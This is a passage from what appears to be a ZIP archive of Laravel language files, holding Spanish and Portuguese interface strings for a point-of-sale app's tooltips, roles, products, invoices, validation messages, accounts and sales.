seleccionado.', 'tax_overall' => 'Diferencia entre el total de impuestos recaudados y el total de impuestos pagados dentro del período de tiempo seleccionado.', 'purchase_due' => 'Importe total no pagado por compras.', /* modified */ 'sell_due' => 'Cantidad total que se recibirá de las ventas', 'over_all_sell_purchase' => '-ve value = Importe a pagar <br> + ve Valor = Importe a recibir', 'no_of_products_for_trending_products' => 'Número de productos de tendencia superior que se compararán en el cuadro a continuación.', 'top_trending_products' => "Los productos más vendidos de su tienda. <br/> <small class='text-muted'> aplique filtros para conocer los productos en tendencia para una categoría, marca, ubicación comercial específica, etc. </small>", 'sku' => "Id único de producto o Unidad de stock de mantenimiento <br> <br> manténgalo en blanco para generar automáticamente sku. <br> <small class='text-muted'> Puede modificar el prefijo sku en Configuración de empresa . </small> ", /* modified */ 'enable_stock' => 'Habilitar o deshabilitar la gestión de stocks para un producto.', 'alert_quantity' => "Manténgase alerta cuando el stock del producto llegue o baje de la cantidad especificada. <br> <br> <small class='text-muted'> Los productos con poco stock se mostrarán en el panel de control - Sección de alerta de stock del producto. </small>", /* modified */ 'product_type' => '<b> Producto único </ b>: Producto sin variaciones. <br> <b> Producto variable </ b>: Producto con variaciones como tamaño, color, etc.', 'profit_percent' => "Margen de beneficio predeterminado para el producto. <br> <small class='text-muted'> (<i> Puede administrar el margen de beneficio predeterminado en Configuración comercial. </i>) </small>", 'pay_term' => "Pagos pendientes por compras dentro del período de tiempo determinado. <br/> <small class='text-muted'> Todos los pagos vencidos o adeudados se mostrarán en el panel de control - Sección de pago vencido </small>", /* modified */ 'order_status' => 'Los productos en esta compra estarán disponibles para la venta solo si el <b> Estado del pedido </ b> es <b> Elementos recibidos </ b>.', 'purchase_location' => 'Ubicación comercial donde el producto comprado estará disponible para la venta.', 'sale_location' => 'Ubicación comercial desde donde desea vender', 'sale_discount' => "Establecer 'Descuento de venta predeterminado' para todas las ventas en Configuración comercial. Haga clic en el icono de editar a continuación para agregar / actualizar el descuento.", 'sale_tax' => "Establezca 'Impuesto a la venta predeterminado' para todas las ventas en Configuración comercial. Haga clic en el icono de editar a continuación para agregar / actualizar el impuesto a la orden.", 'default_profit_percent' => "Margen de beneficio predeterminado de un producto. <br> <small class='text-muted'> Se usa para calcular el precio de venta en función del precio de compra ingresado. <br/> Puede modificar este valor para productos individuales al tiempo que agrega </small> ", 'fy_start_month' => 'Mes de inicio del año fiscal para su empresa', /* modified */ 'business_tax' => 'Número de identificación fiscal de su empresa.', /* modified */ 'invoice_scheme' => "Esquema de factura significa formato de numeración de factura. Seleccione el esquema que se utilizará para esta ubicación comercial <small class='text-muted'> <i> Puede agregar un nuevo esquema de factura </ b> en configuración de factura </ i > </small> ", 'invoice_layout' => "Diseño de facturas para su ubicación comercial <small class='text-muted'> (<i> Puede agregar una nueva configuración de factura </ b> en <b> Configuración de factura <b> < /i>) </small> ", 'invoice_scheme_name' => 'Dé un nombre breve y significativo al Esquema de factura', 'invoice_scheme_prefix' => 'Prefijo para un esquema de factura. <br> Un prefijo puede ser un texto personalizado o un año actual. Ej .: # XXXX0001, # 2018-0002', 'invoice_scheme_start_number' => "Número de inicio para la numeración de la factura. <br> <small class='text-muted'> Puede hacer que sea 1 o cualquier otro número desde el que se inicie la numeración. </small>", 'invoice_scheme_count' => 'Número total de facturas generadas para el esquema de facturación', 'invoice_scheme_total_digits' => 'Longitud del número de factura excluyendo el prefijo de factura', 'tax_groups' => 'Tasas impositivas grupales - definidas anteriormente, para usar en combinación en las secciones Compra / Venta.', 'unit_allow_decimal' => 'Decimales le permite vender los productos relacionados en fracciones.', 'print_label' => 'Agregar productos -> Elegir información para mostrar en Etiquetas -> Seleccionar configuración del código de barras -> Etiquetas de vista previa -> Imprimir', 'expense_for' => 'Elija el usuario para el que está relacionado el gasto. <I> (Opcional) </i> <br/> <small> Ejemplo: salario de un empleado. </small>', 'all_location_permission' => 'Si <b> Todas las ubicaciones </ b> seleccionadas, esta función tendrá permiso para acceder a todas las ubicaciones comerciales', 'dashboard_permission' => 'Si no se selecciona, solo se mostrará el mensaje de bienvenida en Inicio.', 'access_locations_permission' => 'Elija todas las ubicaciones a las que pueda acceder esta función. Todos los datos de la ubicación seleccionada solo se mostrarán al usuario. <br/> <br/> <small> Por ejemplo: puede usar esto para definir <i> Administrador / Cajero / Gestionar stock / Gestionar marcas, </i> de una ubicación particular. </small> ', /* modified */ 'print_receipt_on_invoice' => 'Habilitar o deshabilitar la impresión automática de la factura al finalizar', 'receipt_printer_type' => '<i> Impresión basada en navegador </i>: mostrar el cuadro de diálogo Imprimir en el navegador con una vista previa de la factura <br/> <br/> <i> Usar impresora de recibos configurada </i>: seleccione una impresora térmica / recibo configurada para impresión', 'adjustment_type' => '<i> Normal </i>: Ajuste por razones normales, como fugas, daños, etc. <br/> <br/> <i> Anormal </i>: ajuste por motivos como Incendio, Accidente, etc.', 'total_amount_recovered' => 'Importe recuperado del seguro o venta de desechos u otros', /* modified */ 'express_checkout' => 'Marcar el pago en efectivo completo y pagar', 'total_card_slips' => 'Número total de pagos con tarjeta usados en este registro', 'total_cheques' => 'Número total de cheques utilizados en este registro', 'capability_profile' => 'La compatibilidad con los comandos y las páginas de códigos varía entre los proveedores de impresoras y los modelos. Si no está seguro, es una buena idea usar el perfil de capacidad simple ', 'purchase_different_currency' => 'Seleccione esta opción si compra en una moneda diferente a la moneda de su empresa', 'currency_exchange_factor' => "1 Moneda de compra =? moneda base<br> <small class='text-muted'> Puede activar / desactivar 'Comprar en otra moneda' desde la configuración comercial. </small> '", 'accounting_method' => 'Método de contabilidad', 'transaction_edit_days' => 'Número de días desde la Fecha de transacción hasta la cual se puede editar una transacción', 'stock_expiry_alert' => "Lista de existencias con vencimiento en :days días <br> <small class ='text-muted'> Puede establecer el número de días en Configuración empresarial </small>", ]; PK G �ZۯsX X es/role.phpnu �[��� <?php return [ 'add_role' => 'Agregar rol', 'edit_role' => 'Editar rol', 'user' => 'Usuario', 'supplier' => 'Proveedor', 'customer' => 'Cliente', 'purchase' => 'Ajuste de compra y stock', 'report' => 'Informe', 'user.view' => 'Ver usuario', 'user.create' => 'Agregar usuario', 'user.update' => 'Editar usuario', 'user.delete' => 'Borrar usuario', 'supplier.view' => 'Ver proveedor', 'supplier.create' => 'Agregar proveedor', 'supplier.update' => 'Editar proveedor', 'supplier.delete' => 'Eliminar proveedor', 'customer.view' => 'Ver cliente', 'customer.create' => 'Agregar cliente', 'customer.update' => 'Editar cliente', 'customer.delete' => 'Eliminar cliente', 'product.view' => 'Ver el producto', 'product.create' => 'Agregar producto', 'product.update' => 'Editar producto', 'product.delete' => 'Eliminar producto', 'purchase.view' => 'Ver ajuste de compra y stock', 'purchase.create' => 'Agregar compra y ajuste de stock', 'purchase.update' => 'Editar compra y ajuste de stock', 'purchase.delete' => 'Eliminar compra y ajuste de stock', 'sell.view' => 'Ver venta POS', 'sell.create' => 'Agregar venta POS', 'sell.update' => 'Editar venta POS', /* modified */ 'sell.delete' => 'Eliminar venta POS', 'purchase_n_sell_report.view' => 'Ver informe de compra y venta', 'contacts_report.view' => 'Ver informe de proveedor y cliente', 'stock_report.view' => 'Ver informe de stock, informe de ajuste de stock e informe de vencimiento de stock', 'tax_report.view' => 'Ver informe de impuestos', 'trending_product_report.view' => 'Ver el informe de tendencias de producto', /* modified */ 'register_report.view' => 'Ver informe de registro', 'sales_representative.view' => 'Ver informe de agente comercial', /* modified */ 'expense_report.view' => 'Ver informe de gastos', 'business_settings.access' => 'Acceder a la configuración de empresa', /* modified */ 'barcode_settings.access' => 'Acceder a la configuración del código de barras', 'invoice_settings.access' => 'Acceder a la configuración de la factura', 'brand.view' => 'Ver marca', 'brand.create' => 'Agregar marca', 'brand.update' => 'Editar marca', 'brand.delete' => 'Eliminar marca', 'tax_rate.view' => 'Ver tasa de impuestos', 'tax_rate.create' => 'Agregar tasa de impuestos', 'tax_rate.update' => 'Editar tasa de impuestos', 'tax_rate.delete' => 'Eliminar tasa impositiva', 'unit.view' => 'Ver unidad', 'unit.create' => 'Agregar unidad', 'unit.update' => 'Editar unidad', 'unit.delete' => 'Eliminar unidad', 'category.view' => 'Ver categoría', 'category.create' => 'Añadir categoría', 'category.update' => 'Editar categoria', 'category.delete' => 'Eliminar categoría', 'select_all' => 'Seleccionar todo', 'settings' => 'Configuraciones', 'brand' => 'Marca', 'tax_rate' => 'Tasa de impuesto', 'unit' => 'Unidad', 'access_locations' => 'Lugares de acceso', 'all_locations' => 'Todas las localizaciones', 'dashboard' => 'Panel', /* modified */ 'dashboard.data' => 'Ver datos de inicio', 'profit_loss_report.view' => 'Ver informe de ganancias / pérdidas', 'direct_sell.access' => 'Acceso a la venta', ]; PK G �Z�[�& & es/product.phpnu �[��� <?php return [ 'exc_of_tax' => 'Impuesto no incluido', /* modified */ 'inc_of_tax' => 'Impuesto incluido', /* modified */ 'profit_percent' => 'x Margen (%)', 'add_new_product' => 'Agregar nuevo producto', 'add_product_for_labels' => 'Agregar productos para generar etiquetas', 'product_type' => 'Tipo de producto', 'category' => 'Categoría', 'sub_category' => 'Subcategoría', 'unit' => 'Unidad', 'brand' => 'Marca', 'tax' => 'Impuesto', 'sku' => 'SKU', 'alert_quantity' => 'Cantidad para alerta', /* modified */ 'product_name' => 'Nombre del producto', 'auto_generate' => 'Generar automáticamente', 'manage_stock' => 'Administrar Stock?', 'enable_stock_help' => 'Habilitar la gestión de stock a nivel de producto', /* modified */ 'barcode_type' => 'Tipo de código de barras', 'applicable_tax' => 'Impuesto aplicable', 'selling_price_tax_type' => 'Tipo de impuesto sobre el precio de venta', 'inclusive' => 'Incluido', 'exclusive' => 'No incluido', 'edit_product' => 'Editar producto', 'default_purchase_price' => 'Precio de compra predeterminado', 'default_selling_price' => 'Precio de venta predeterminado', 'value' => 'Valor', 'variation_name' => 'Nombre de variación', 'variation_values' => 'Valores de variación', 'use_template' => 'Usar plantilla', 'add_variation' => 'Agregar variación', 'product_added_success' => 'Producto agregado con éxito', 'product_updated_success' => 'Producto actualizado con éxito', 'enable_product_expiry' => 'Habilitar vencimiento del producto', 'expiry_period' => 'Período de caducidad', 'expires_in' => 'Expira en', 'not_applicable' => 'No aplica', 'months' => 'Meses', 'days' => 'Dias', 'mfg_date' => 'Fecha de fabricación', 'exp_date' => 'Fecha de caducidad', 'view_product' => 'Ver el producto', 'add_product' => 'Agregar producto', 'variations' => 'Variaciones', 'import_products' => 'Importar productos', 'file_to_import' => 'Archivo para importar', 'file_imported_successfully' => 'Archivo importado con éxito', 'variation_sku_format' => 'Formato de SKU de Variación', 'variation_sku_format_help_text' => 'Formato de SKU de Variación - Cuando el SKU de la variación está vacío, se utilizará este formato para generar SKU para las variaciones.', 'sku_number' => 'Número de SKU (Ejemplo -> ABC-1, ABC-2)', 'sku_variation_number' => 'Variación de SKU (Ejemplo -> ABCS, ABCM)' ]; PK G �ZԒ�U es/invoice.phpnu �[��� <?php return [ 'invoice_settings' => 'Configuración de factura', 'manage_your_invoices' => 'Administra la configuración de tu factura', /* modified */ 'all_your_invoice_schemes' => 'Todos tus esquemas de factura', /* modified */ 'added_success' => 'Configuración de factura agregada con éxito', 'updated_success' => 'Configuración de factura actualizada con éxito', 'deleted_success' => 'Configuración de factura eliminada con éxito', 'add_invoice' => 'Agregar nuevo esquema de factura', 'edit_invoice' => 'Editar esquema de factura', 'name' => 'Nombre', 'prefix' => 'Prefijo', 'start_number' => 'Empezar desde', 'total_digits' => 'Número de dígitos', 'preview' => 'Avance', 'not_selected' => 'No seleccionado', 'invoice_count' => 'Recuento de facturas', 'invoice_schemes' => 'Esquemas de factura', 'invoice_layouts' => 'Disposición de facturas', 'invoice_layout' => 'Diseño de factura', 'all_your_invoice_layouts' => 'Todos sus diseños de factura', 'add_invoice_layout' => 'Agregar nuevo diseño de factura', 'layout_name' => 'Nombre de diseño', 'invoice_scheme' => 'Esquema de la factura', 'header_text' => 'Texto de cabecera', 'invoice_no_prefix' => 'Factura no. Etiqueta', 'invoice_heading' => 'Encabezado de la factura', 'sub_total_label' => 'Etiqueta de subtotal', 'discount_label' => 'Etiqueta de descuento', 'tax_label' => 'Etiqueta de impuesto', 'total_label' => 'Etiqueta total', 'fields_to_be_shown_in_address' => 'Campos que se mostrarán en la dirección de ubicación', 'highlight_color' => 'Color de resaltado', 'footer_text' => 'Texto de pie de página', 'layout_added_success' => 'Diseño de factura agregado con éxito', 'edit_invoice_layout' => 'Editar diseño de factura', 'layout_updated_success' => 'Diseño de factura actualizado con éxito', 'used_in_locations' => 'Usado en ubicaciones', 'show_business_name' => 'Mostrar nombre comercial', 'show_location_name' => 'Mostrar nombre de ubicación', 'show_mobile_number' => 'Número de teléfono móvil', 'show_alternate_number' => 'Número Alternativo', 'show_email' => 'Email', 'show_tax_1' => 'Detalles de impuestos 1', 'show_tax_2' => 'Detalles de impuestos 2', 'fields_to_shown_for_communication' => 'Campos para detalles de comunicación', 'fields_to_shown_for_tax' => 'Campos para detalles de impuestos', 'invoice_logo' => 'Logotipo de la factura', 'show_logo' => 'Mostrar el logotipo de la factura', 'show_barcode' => 'Mostrar código de barras', 'total_due_label' => 'Etiqueta total debida', /* ¿? */ 'invoice_heading_not_paid' => 'Sufijo de encabezado por no pagado', 'invoice_heading_paid' => 'Sufijo de encabezado por pagado', 'show_payments' => 'Mostrar información de pago', 'show_customer' => 'Mostrar información del cliente', 'paid_label' => 'Etiqueta de cantidad pagada', 'customer_label' => 'Etiqueta de cliente', ]; PK G �Z�5]ڿ � pt/expense.phpnu �[��� <?php return [ 'expenses' => 'Despesas', 'expense_categories' => 'Categorias de despesas', 'manage_your_expense_categories' => 'Gerenciar suas categorias de gastos', 'all_your_expense_categories' => 'Todas as suas categorias de gastos', 'expense_category' => 'Categoria de despesa', 'category_name' => 'Nome da categoria', 'category_code' => 'código de categoria', 'added_success' => 'Categoria de despesas adicionadas com sucesso', 'updated_success' => 'Categoria de despesas atualizadas com sucesso', 'deleted_success' => 'Categoria de despesas excluídas com sucesso', 'add_expense_category' => 'Adicionar categoria de despesa', 'edit_expense_category' => 'Editar categoria de despesa', 'all_expenses' => 'Todas as despesas', 'expense_status' => 'status de despesa', 'add_expense' => 'Adicionar despesa', 'edit_expense' => 'Editar despesa', 'expense_note' => 'Nota de despesas', 'expense_add_success' => 'Despesas adicionadas com sucesso', 'expense_update_success' => 'Despesas atualizadas com sucesso', 'expense_delete_success' => 'Despesas eliminadas com sucesso', 'expense_for' => 'Despesa para', ]; PK G �Z��� � pt/messages.phpnu �[��� <?php return [ 'add' => 'Adicionar', 'edit' => 'Editar', 'save' => 'Salvar', 'update' => 'Atualizar', 'action' => 'Ação', 'actions' => 'Ações', 'view' => 'Ver', 'delete' => 'Excluir', 'close' => 'Fechar', 'something_went_wrong' => 'Algo deu errado, por favor, tente novamente mais tarde', 'required' => 'Este campo é obrigatório', 'please_select' => 'Selecionar', 'cancel' => 'Cancelar', 'date' => 'Date', 'filter_by_date' => 'Filtrar por data', 'location' => 'Localização', 'go_back' => 'Return', 'due_tooltip' => '-ve value = Valor a pagar por + valor ve = Valor a receber', 'purchase_due_tooltip' => '-ve value = Valor a receber <br> + valor ve = Valor a pagar', 'yes' => 'sim', 'no' => 'não', 'all' => 'Todos', 'settings' => 'Configurações', 'business_location_settings' => 'Configurações de localização comercial', 'print' => 'Impressão', 'submit' => 'Enviar', 'purchase_sell_mismatch_exception' => 'ERRO: NÃO PERMITIDO: incompatibilidade entre a quantidade vendida e a compra Produto: :product', 'purchase_stock_adjustment_mismatch_exception' => 'ERRO: NÃO PERMITIDO: incompatibilidade entre o ajuste de estoque e a quantidade de compra Produto: :product', 'transaction_edit_not_allowed' => 'A edição de transações não é permitida após: days days.', ]; PK G �Z���e e pt/stock_adjustment.phpnu �[��� <?php return [ 'stock_adjustment' => 'Ajuste de estoque', 'stock_adjustments' => 'ajustes de estoque', 'list' => 'Listar configurações de estoque', 'add' => 'Adicionar ajuste de estoque', 'all_stock_adjustments' => 'Todas as configurações de estoque', 'search_product' => 'Pesquisar produtos para ajuste de estoque', 'adjustment_type' => 'Tipo de ajuste', 'normal' => 'normal', 'anormal' => 'anormal', 'total_amount' => 'Valor total', 'total_amount_recovered' => 'Valor total recuperado', 'reason_for_stock_adjustment' => 'Razão', 'stock_adjustment_added_successfully' => 'Ajustando estoque adicionado com sucesso', 'search_products' => 'Pesquisar produtos', 'delete_success' => 'Ajuste de estoque excluído com sucesso', 'view_details' => 'Veja detalhes do ajuste de estoque', ]; PK G �ZH�2% % pt/home.phpnu �[��� <?php return [ 'home' => 'Iniciar', 'welcome_message' => 'Bem-vindo :name', 'total_sell' => 'Total de vendas', 'total_purchase' => 'Total de compras', 'invoice_due' => 'Fatura a pagar', 'purchase_due' => 'Compre em dívida', 'today' => 'Today', 'this_week' => 'Esta semana', 'this_month' => 'Este mês', 'this_fy' => 'Este ano fiscal', 'sells_last_30_days' => 'Vendas nos últimos 30 dias', 'sells_current_fy' => 'Ano fiscal atual de vendas', 'total_sells' => 'Total de vendas (:currency)', 'product_stock_alert' => 'Alerta de estoque do produto', 'payment_dues' => 'Taxa de pagamento', 'due_amount' => 'Valor devido', 'stock_expiry_alert' => 'Alerta de expiração', 'todays_profit' => 'Benefício de hoje', ]; PK G �Z�V � � pt/receipt.phpnu �[��� <?php return [ 'product' => 'Produto', 'qty' => 'Quantidade', 'unit_price' => 'preço unitário', 'subtotal' => 'Subtotal', 'desconto' => 'Desconto', 'tax' => 'Taxa', 'total' => 'Total', 'invoice_number' => 'No. da fatura', 'date' => 'Data', 'receipt_settings' => 'Configurações de recibo', 'receipt_settings_mgs' => 'Todas as configurações relacionadas a recibos para este local', 'print_receipt_on_invoice' => 'Fatura de impressão automática após a conclusão', 'receipt_printer_type' => 'Tipo de impressora de recibo', 'receipt_settings_updated' => 'Ajuste de recebimento atualizado com sucesso', ]; PK G �Z?�\�� � pt/tax_rate.phpnu �[��� <?php return [ 'tax_rates' => 'Taxas de imposto', 'manage_your_tax_rates' => 'Gerenciar suas taxas de impostos', 'all_your_tax_rates' => 'Todas as suas taxas de impostos', 'name' => 'Name', 'rate' => 'Taxa de imposto%', 'added_success' => 'Taxa de imposto adicionada com sucesso', 'updated_success' => 'Taxa de imposto atualizada com sucesso', 'deleted_success' => 'Taxa de imposto removida com sucesso', 'add_tax_rate' => 'Adicionar taxa de imposto', 'edit_taxt_rate' => 'Editar taxa de imposto', 'add_tax_group' => 'Adicionar grupo de impostos', 'tax_group_added_success' => 'Grupo de impostos adicionado com sucesso', 'tax_group_updated_success' => 'Grupo de impostos atualizado com sucesso', 'tax_groups' => 'Grupos de impostos', 'edit_tax_group' => 'Editar grupo de impostos', 'sub_taxes' => 'Sub-impostos', 'can_not_be_deleted' => 'Esta taxa de imposto pertence a alguns grupos de impostos', ]; PK G �Z��V6� � pt/category.phpnu �[��� <?php return [ 'categories' => 'Categorias', 'manage_your_categories' => 'Gerenciar suas categorias', 'all_your_categories' => 'Todas as suas categorias', 'category' => 'Categoría', 'category_name' => 'Nome da categoria', 'code' => 'Código de categoria', 'add_as_sub_category' => 'Adicionar como subcategoria', 'select_parent_category' => 'Selecionar categoria principal', 'added_success' => 'Categoria adicionada com sucesso', 'updated_success' => 'Categoria atualizada com sucesso', 'deleted_success' => 'Categoria excluída com sucesso', 'add_category' => 'Adicionar categoria', 'edit_category' => 'Editar a categoria', ]; PK G �Z��3v� � pt/brand.phpnu �[��� <?php return [ 'brands' => 'Marcas', 'manage_your_brands' => 'Gerenciar suas marcas', 'all_your_brands' => 'Todas as suas marcas', 'note' => 'Nota', 'brand_name' => 'nome da marca', 'short_description' => 'Breve descrição', 'added_success' => 'Marca adicionada com sucesso', 'updated_success' => 'Marca atualizada com sucesso', 'deleted_success' => 'Marcar excluído com sucesso', 'add_brand' => 'Adicionar marca', 'edit_brand' => 'Editar marca', ]; PK G �Zo � pt/auth.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Authentication Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during authentication for various | messages that we need to display to the user. You are free to modify | these language lines according to your application's requirements. | */ 'failed' => 'Essas credenciais não correspondem aos nossos registros.', 'throttle' => 'Muitas tentativas de acesso forao feitas. Por favor, tente novamente em :seconds segundos.', ]; PK G �Z�FЧ � pt/validation.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Validation Language Lines |-------------------------------------------------------------------------- | | The following language lines contain the default error messages used by | the validator class. Some of these rules have multiple versions such | as the size rules. Feel free to tweak each of these messages. | */ 'accepted' => ':attribute deve ser aceito.', 'active_url' => ':attribute não é um URL válido.', 'after' => ': o atributo deve ser uma data depois de: date.', 'after_or_equal' => ':attribute deve ser uma data posterior ou igual a: date.', 'alpha' => ':attribute deve conter apenas letras.', 'alpha_dash' => ':attribute deve conter apenas letras, números e hífens.', 'alpha_num' => ':attribute deve conter apenas letras e números.', 'array' => ':attribute deve ser um conjunto.', 'before' => ':attribute deve ser uma data anterior: date.', 'before_or_equal' => ':attribute deve ser uma data anterior ou igual a: date.', 'between' => [ 'numeric' => ':attribute deve estar entre: min -: max.', 'file' => ':attribute deve pesar entre: min -: max kilobytes.', 'string' => ':attribute deve ter entre: min -: max caracteres.', 'array' => ':attribute deve ter entre: min -: max items.', ], 'boolean' => 'O campo :attribute deve ter um valor verdadeiro ou falso.', 'confirmed' => 'A confirmação de :attribute não combina.', 'date' => ':attribute não é uma data válida.', 'date_format' => ':attribute não corresponde ao formato: format.', 'different' => ':attribute e : other devem ser diferentes.', 'digits' => ':attribute deve ter: dígitos dígitos.', 'digits_between' => ':attribute deve ter entre: min e: max digits.', 'dimensions' => 'As dimensões da imagem :attribute não são válidas.', 'distinct' => 'O campo :attribute contém um valor duplicado.', 'email' => ':attribute não é um email válido', 'exists' => ':attribute é inválido.', 'file' => 'O campo :attribute deve ser um arquivo.', 'filled' => 'O campo :attribute é obrigatório.', 'image' => ':attribute deve ser uma imagem.', 'in' => ':attribute é inválido.', 'in_array' => 'O campo :attribute não existe em: other.', 'integer' => ':attribute deve ser um inteiro.', 'ip' => ': o atributo deve ser um endereço IP válido.', 'ipv4' => ':attribute deve ser um endereço IPv4 válido', 'ipv6' => ':attribute deve ser um endereço IPv6 válido', 'json' => 'O campo :attribute deve ter uma string JSON válida.', 'max' => [ 'numeric' => '::attribute não deve ser maior que:max.', 'file' => ':attribute não deve ser maior que :max kilobytes.', 'string' => ':attribute não deve ser maior que :max caracteres.', 'array' => ':attribute não deve ter mais que :max elements.', ], 'mimes' => ':attribute debe ser un archivo con formato: :values.', 'mimetypes' => ':attribute debe ser un archivo con formato: :values.', 'min' => [ 'numeric' => 'O tamanho de :attribute deve ser pelo menos :min.', 'file' => 'O tamanho de :attribute deve ser pelo menos :min kilobytes.', 'string' => ' :attribute deve conter pelo menos :min. caracteres.', 'array' => ' :attribute deve ter pelo menos :min elements.', ], 'not_in' => ':attribute é inválido.', 'numeric' => ':attribute deve ser numérico.', 'present' => 'O campo :attribute deve estar presente', 'regex' => 'O formato de :attribute é inválido.', 'required' => 'O campo :attribute é obrigatório.', 'required_if' => 'O campo :attribute é obrigatório quando: o outro é: valor.', 'required_unless' => 'O campo :attribute é obrigatório a menos que: other esteja em: values.', 'required_with' => 'O campo :attribute é obrigatório quando :values estão presentes.', 'required_with_all' => 'O campo :attribute é obrigatório quando :values estão presentes.', 'required_without' => 'O campo :attribute é obrigatório quando :values não estão presentes.', 'required_without_all' => ':attribute field: é obrigatório quando nenhum dos valores: estiver presente.', 'same' => ':attribute e: other must match.', 'size' => [ 'numeric' => 'O tamanho de :attribute deve ser :size .', 'file' => 'O tamanho de :attribute deve ser :size kilobytes.', 'string' => ':attribute deve conter :size caracteres de tamanho.', 'array' => ':attribute deve conter :size elementos de tamanho.', ], 'string' => 'El campo :attribute debe ser una cadena de caracteres.', 'timezone' => 'El :attribute debe ser una zona válida.', 'unique' => ':attribute ya ha sido registrado.', 'uploaded' => 'Subir :attribute ha fallado.', 'url' => 'El formato :attribute es inválido.', /* |-------------------------------------------------------------------------- | Custom Validation Language Lines |-------------------------------------------------------------------------- | | Here you may specify custom validation messages for attributes using the | convention "attribute.rule" to name the lines. This makes it quick to | specify a specific custom language line for a given attribute rule. | 'custom' => [ 'password' => [ 'min' => ':attribute deve conter mais de :size caracteres ', ], 'email' => [ 'unique' => 'O :attribute já foi registrado.', ], ], /* |-------------------------------------------------------------------------- | Custom Validation Attributes |-------------------------------------------------------------------------- | | The following language lines are used to swap attribute place-holders | with something more reader friendly such as E-Mail Address instead | of "email". This simply helps us make messages a little cleaner. | */ 'attributes' => ['name' => 'name', 'username' => 'user', 'email' => 'email', 'first_name' => 'nome', 'last_name' => 'sobrenome', 'password' => 'password', 'password_confirmation' => 'confirmação da senha', 'city' => 'cidade', 'country' => 'país', 'endereço' => 'endereço', 'telefone' => 'telefone', 'mobile' => 'mobile', 'age' => 'idade', 'sex' => 'sexo', 'gender' => 'gender', 'year' => 'ano', 'month' => 'mês', 'day' => 'day', 'hour' => 'hora', 'minute' => 'minuto', 'second' => 'segundo', 'title' => 'title', 'conteúdo' => 'conteúdo', 'body' => 'conteúdo', 'description' => 'description', 'trecho' => 'extrair', 'date' => 'data', 'time' => 'hora', 'subject' => 'assunto', 'message' => 'menssagem', ], ]; PK G �Z�ϣ`� � pt/account.phpnu �[��� <?php return [ 'account' => 'Conta', 'manage_your_account' => 'Gerenciar sua conta', 'all_accounts' => 'Todas as contas', 'account_number' => 'Número da conta', 'add_account' => 'Adicionar conta', 'account_created_success' => 'Conta criada com sucesso', 'account_updated_success' => 'Conta atualizada com sucesso', 'edit_account' => 'Editar conta', 'account_closed_success' => 'Conta encerrada com sucesso', 'closed' => 'fechado', 'list_accounts' => 'Lista de contas', 'opening_balance' => 'saldo inicial', 'account_book' => 'Livro da conta', 'credit' => 'Crédito', 'debit' => 'Débito', 'account_name' => 'Nome da conta', 'transaction_type' => 'Tipo de transação', 'fund_transfer' => 'Transferência de fundos', 'selected_account' => 'Conta selecionada', 'transfer_to' => 'Transferir para', 'fund_transfered_success' => 'Fundo transferido com sucesso', 'deposit' => 'Deposit', 'deposited_successfully' => 'Valor depositado com sucesso', 'from' => 'De', 'to' => 'A', 'balance_sheet' => 'Balanço', 'liability' => 'Responsabilidade', 'assets' => 'Ativos', 'supplier_due' => 'Fornecedor devedor', 'customer_due' => 'Cliente vencido', 'account_balances' => 'saldos de contas', 'total_assets' => 'O total de ativos', 'total_liability' => 'Responsabilidade Total', 'trial_balance' => 'Balancete', 'payments_not_linked_with_account' => 'Pagamentos totais <b>:payments </b> não vinculados a nenhuma conta', 'saving_current' => 'Economia / atual', 'capital' => 'Capital', 'not_applicable' => 'Não aplicável', 'account_type' => 'Tipo de conta', 'accounts' => 'Contas', 'capital_accounts' => 'Contas de capital', 'deposit_from' => 'Depósito de', 'no_capital_account_created' => 'Não há conta de capital ativa', 'payment_account_report' => 'Relatório da conta de pagamento', 'invoice_ref_no' => 'Número da fatura / Ref. No.', 'payment_ref_no' => 'Número de referência do pagamento', 'payment_for' => 'Pagamento por', 'link_account' => 'Vincular conta', 'account_linked_success' => 'Conta conectada com sucesso', 'view_details' => 'Ver detalhes', ]; PK G �Zu�1[ pt/pagination.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Pagination Language Lines |-------------------------------------------------------------------------- | | The following language lines are used by the paginator library to build | the simple pagination links. You are free to change them to anything | you want to customize your views to better match your application. | */ 'previous' => '« Anterior', 'next' => 'Seguente »', ]; PK G �Za� � � pt/contact.phpnu �[��� <?php return [ 'contacts' => 'Contatos', 'name' => 'Name', 'contact' => 'Contato', 'manage_your_contact' => 'Gerenciar seus: contatos', 'all_your_contact' => 'Todos os seus: contatos', 'add_contact' => 'Adicionar um novo contato', 'contact_type' => 'Tipo de contato', 'tax_no' => 'Número do imposto', 'pay_term' => 'Prazo de pagamento', 'pay_term_period' => 'Período de pagamento', 'mobile' => 'Mobile', 'landline' => 'Linha fixa', 'alternate_contact_number' => 'Número de contato alternativo', 'edit_contact' => 'Editar contato', 'added_success' => 'Contato adicionado com sucesso', 'updated_success' => 'Contato atualizado com sucesso', 'deleted_success' => 'Contato excluído com sucesso', 'add_new_customer' => 'Adicionar novo cliente', 'view_contact' => 'Ver contato', 'contact_info' => 'Dados de :contact', 'all_purchases_linked_to_this_contact' => 'Todas as compras relacionadas a este contato', 'all_sells_linked_to_this_contact' => 'Todas as vendas relacionadas a este contato', 'total_purchase_due' => 'Total de compra devido', 'pay_due_amount' => 'Valor devido', 'total_paid' => 'Total pago', 'total_purchase_paid' => 'Pagamento total da compra', 'total_sale_paid' => 'Pagamento total da venda', 'total_sale_due' => 'Venda total devida', 'customer' => 'Cliente', ]; PK G �ZB�xEJ J pt/sale.phpnu �[��� <?php return [ 'sale' => 'vender', 'sells' => 'Vendas', 'list_sale' => 'lista de vendas', 'add_sale' => 'Adicionar venda', 'pos_sale' => 'POS', 'draft_added' => 'Rascunho adicionado com sucesso', 'invoice_added' => 'Fatura adicionada com sucesso', 'item' => 'Item', 'total' => 'Total', 'order_tax' => 'Imposto do Pedido', 'discount' => 'Desconto', 'total_payable' => 'Total a pagar', 'cancel' => 'Cancelar', 'draft' => 'Rascunho', 'finalize' => 'Finalizar compra', 'express_finalize' => 'Pagamento <br/> Rápido', 'product' => 'Produto', 'products' => 'Produtos', 'unit_price' => 'preço unitário', 'qty' => 'Quantidade', 'subtotal' => 'Subtotal', 'recent_transactions' => 'Suas transações recentes', 'pos_sale_added' => 'Venda adicionada com sucesso', 'price_inc_tax' => 'Im Tax Price', 'tax' => 'Taxa', 'edit_discount' => 'Editar desconto', 'edit_order_tax' => 'Editar imposto no pedido', 'discount_type' => 'tipo de desconto', 'discount_amount' => 